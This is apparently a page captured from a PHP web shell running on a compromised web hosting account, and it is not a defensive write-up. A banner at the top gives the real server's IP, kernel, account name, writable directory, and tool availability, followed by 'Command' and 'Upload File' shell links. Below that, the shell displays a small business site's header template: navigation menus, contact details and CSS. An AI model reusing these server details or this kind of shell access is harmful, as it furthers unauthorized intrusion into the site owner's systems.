|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/advocate/inc/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!-- Offcanvas Menu Begin -->
<div class="offcanvas-menu-overlay"></div>
<div class="offcanvas-menu">
<div class="offcanvas__logo">
<a href="index.html"><img src="img/logo.png" alt=""></a>
</div>
<div id="mobile-menu-wrap"></div>
<div class="offcanvas__widget">
<ul>
<li>CALL US: +91 8851319207</li>
<li>WRITE US: info@nidhitechnocare.com</li>
<li>OPENING TIMES: MON - FRI: 9:00 - 19:00</li>
</ul>
<a href="#" class="primary-btn">JOIN US</a>
</div>
<nav class="header__menu">
<ul class="mobile-menu">
<li class="active"><a href="index.php">Home</a></li>
<li><a href="about.php">About</a></li>
<li class="side-menu">
<ul class="menu">
<!-- Main Product Tab -->
<li><a href="#">Products</a>
<!-- Category Level -->
<ul class="submenu">
<!-- Category 1 -->
<li><a href="#">Sport</a>
<!-- Sub-category Level for Category 1 -->
<ul class="submenu">
<li><a href="#">Sub-category 1</a>
<!-- Products under Sub-category 1 -->
<ul class="submenu">
<li><a href="product-detail.php">Product 1</a></li>
<li><a href="product-detail.php">Product 2</a></li>
</ul>
</li>
<li><a href="#">Sub-category 2</a>
<!-- Products under Sub-category 2 -->
<ul class="submenu">
<li><a href="product-detail.php">Product 3</a></li>
<li><a href="product-detail.php">Product 4</a></li>
</ul>
</li>
</ul>
</li>
<!-- Category 2 -->
<li><a href="#">Solar</a>
<!-- Sub-category Level for Category 2 -->
<ul class="submenu">
<li><a href="#">Sub-category 3</a>
<!-- Products under Sub-category 3 -->
<ul class="submenu">
<li><a href="product-detail.php">Product 5</a></li>
<li><a href="product-detail.php">Product 6</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<!-- <li><a href="classes.html">Classes</a></li> -->
<!-- <li><a href="#">Pages</a>
<ul class="dropdown">
<li><a href="classes-details.html">Classes Details</a></li>
<li><a href="blog-details.html">Blog Details</a></li>
<li><a href="pricing.html">Pricing</a></li>
<li><a href="faq.html">Faq</a></li>
</ul>
</li> -->
<li><a href="blog.php">Blog</a></li>
<li><a href="contact.php">Contact</a></li>
</ul>
</nav>
<div class="offcanvas__social">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-instagram"></i></a>
<a href="#"><i class="fa fa-linkedin"></i></a>
</div>
</div>
<!-- Offcanvas Menu End -->
<!-- Header Section Begin -->
<header class="header">
<div class="header__top">
<div class="container">
<div class="row">
<div class="col-lg-3 col-md-3">
<div class="header__logo">
<a href="index.php"><img src="img/logo.png" alt=""></a>
</div>
</div>
<div class="col-lg-9 col-md-9">
<div class="header__top__widget">
<ul>
<li>CALL US: +91 8851319207</li>
<li>WRITE US: info@nidhitechnocare.com</li>
<li>OPENING TIMES: MON - FRI: 9:00 - 19:00</li>
</ul>
<a href="#" class="primary-btn">JOIN US</a>
</div>
</div>
</div>
<div class="canvas__open">
<i class="fa fa-bars"></i>
</div>
</div>
</div>
<div class="header__nav">
<div class="container">
<div class="row">
<div class="col-lg-12 col-md-9">
<nav class="header__menu">
<ul>
<li class="active"><a href="index.php">Home</a></li>
<li><a href="about.php">About</a></li>
<!-- <li><a href="product.php">products</a></li> -->
<li class="side-menu">
<ul class="menu">
<!-- Main Product Tab -->
<li><a href="#">Products</a>
<!-- Category Level -->
<ul class="submenu">
<!-- Category 1 -->
<li><a href="#">Sport</a>
<!-- Sub-category Level for Category 1 -->
<ul class="submenu">
<li><a href="#">Sub-category 1</a>
<!-- Products under Sub-category 1 -->
<ul class="submenu">
<li><a href="product-detail.php">Product 1</a></li>
<li><a href="product-detail.php">Product 2</a></li>
</ul>
</li>
<li><a href="#">Sub-category 2</a>
<!-- Products under Sub-category 2 -->
<ul class="submenu">
<li><a href="product-detail.php">Product 3</a></li>
<li><a href="product-detail.php">Product 4</a></li>
</ul>
</li>
</ul>
</li>
<!-- Category 2 -->
<li><a href="#">Solar</a>
<!-- Sub-category Level for Category 2 -->
<ul class="submenu">
<li><a href="#">Sub-category 3</a>
<!-- Products under Sub-category 3 -->
<ul class="submenu">
<li><a href="product-detail.php">Product 5</a></li>
<li><a href="product-detail.php">Product 6</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><a href="blog.php">Blog</a></li>
<li><a href="contact.php">Contact</a></li>
<style>
/* Base menu styling */
.side-menu {
width: 200px;
font-family: Arial, sans-serif;
}
.side-menu .menu, .side-menu .submenu {
list-style: none;
padding: 0;
margin: 0;
}
.side-menu .menu > li {
position: relative;
}
/* Top-level menu items */
.side-menu .menu > li > a {
display: block;
padding: 10px;
/* color: #333; */
/* text-decoration: none; */
/* background-color: #f0f0f0; */
/* border: 1px solid #ddd; */
}
/* .side-menu .menu > li > a:hover {
background-color: #ddd;
} */
/* Submenu styling */
.side-menu .submenu {
display: none;
position: absolute;
top: 0;
left: 100%;
width: 200px;
background-color: #f9f9f9;
border: 1px solid #ddd;
z-index: 1000;
}
/* Show submenu on hover */
.side-menu .menu > li:hover > .submenu,
.side-menu .submenu li:hover > .submenu {
display: block;
}
/* Submenu items */
.side-menu .submenu > li > a {
padding: 10px;
color: #333;
text-decoration: none;
background-color: #f9f9f9;
}
.side-menu .submenu > li > a:hover {
background-color: #e0e0e0;
}
</style>
<!-- <li><a href="#">Pages</a>
<ul class="dropdown">
<li><a href="classes-details.html">Classes Details</a></li>
<li><a href="blog-details.html">Blog Details</a>
</li>
<li><a href="pricing.html">Pricing</a></li>
<li><a href="faq.html">Faq</a></li>
</ul>
</li> -->
</ul>
</nav>
</div>
<!-- <div class="col-lg-3 col-md-3">
<div class="header__social">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-instagram"></i></a>
<a href="#"><i class="fa fa-linkedin"></i></a>
</div>
</div> -->
</div>
</div>
</div>
</header>